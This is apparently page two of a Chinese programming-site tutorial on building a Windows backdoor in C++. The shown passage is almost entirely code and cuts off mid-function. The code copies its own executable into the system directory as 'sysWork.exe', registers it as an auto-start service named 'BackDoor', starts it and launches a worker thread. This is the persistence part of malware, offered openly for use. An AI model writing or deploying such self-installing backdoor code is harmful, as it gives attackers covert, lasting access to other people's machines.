设为首页 加入收藏

TOP

C++实现后门的服务自启动 (二)
2018-05-06 06:06:37 】 浏览:480
Tags:实现 后门 服务 启动
NAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv) { HANDLE hThread; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwServiceType = SERVICE_WIN32; g_ServiceStatus.dwWaitHint = 0; g_ServiceStatus.dwWin32ExitCode = 0; g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl); if (!g_hServiceStatus) { printf("Register Service Error\n"); return; } g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus)) { OutputDebugString("SetServiceStatus Error !\n"); return; } hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL); if (!hThread) { printf("Create Thread Error\n"); } return; } /** * @brief Install Service */ int APIENTRY InstallService() { DWORD dwErrorCode; SC_HANDLE hscManager; SC_HANDLE hServiceHandle; SERVICE_STATUS ssServiceStatus; CHAR szSystemPath[MAX_COUNT] = "\0"; CHAR szFileSelfPath[MAX_COUNT] = "\0"; GetSystemDirectory(szSystemPath, sizeof(szSystemPath)); GetModuleFileName(NULL, szFileSelfPath, sizeof(szFileSelfPath)); strcat_s(szSystemPath, "\\sysWork.exe"); CopyFile(szFileSelfPath, szSystemPath, true); hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hscManager) { printf("Can not Open the Service Manager\n"); return SERVICE_OP_ERROR; } printf("Service Manager Opened Success\n"); hServiceHandle = CreateService(hscManager, "BackDoor", "BackDoor", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szSystemPath, NULL, NULL, NULL, NULL, NULL); if (!hServiceHandle) { dwErrorCode = GetLastError(); if (dwErrorCode == ERROR_SERVICE_EXISTS) { hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS); if (!hServiceHandle) { printf("Can not Create/Open Service\n"); CloseServiceHandle(hServiceHandle); return SERVICE_OP_ERROR; } else { printf("Service Opened Success\n"); } } } else { printf("Service Create Success\n"); } if (!StartService(hServiceHandle, 0, NULL)) { dwErrorCode = GetLastError(); if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING) { printf("SERVEICE IS ALREADY RUNNING\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return SERVICE_ALREADY_RUN; } else { printf("SERVEICE START ERROR\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return SERVICE_OP_ERROR; } } while (QueryServiceStatus(hServiceHandle, &ssServiceStatus)) { if (ssServiceStatus.dwCurrentState == SERVICE_START_PENDING) { Sleep(100); continue; } if (ssServiceStatus.dwCurrentState != SERVICE_RUNNING) { printf("Service Start Process ERROR\n"); CloseServiceHandle(hServiceHandle); CloseServiceHandle(hscManager); return SERVICE_OP_ERROR; } else { break; } } if (!QueryServiceStatus(hServiceHandle, &ssServiceStatus)) { printf("Service Status Get Error\n"); CloseServiceHandle(hServiceHandle); CloseService
首页 上一页 1 2 3 下一页 尾页 2/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇C++里的强制类型转换符reinterpre.. 下一篇过来的程序员告诉你如何才能学好C..

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目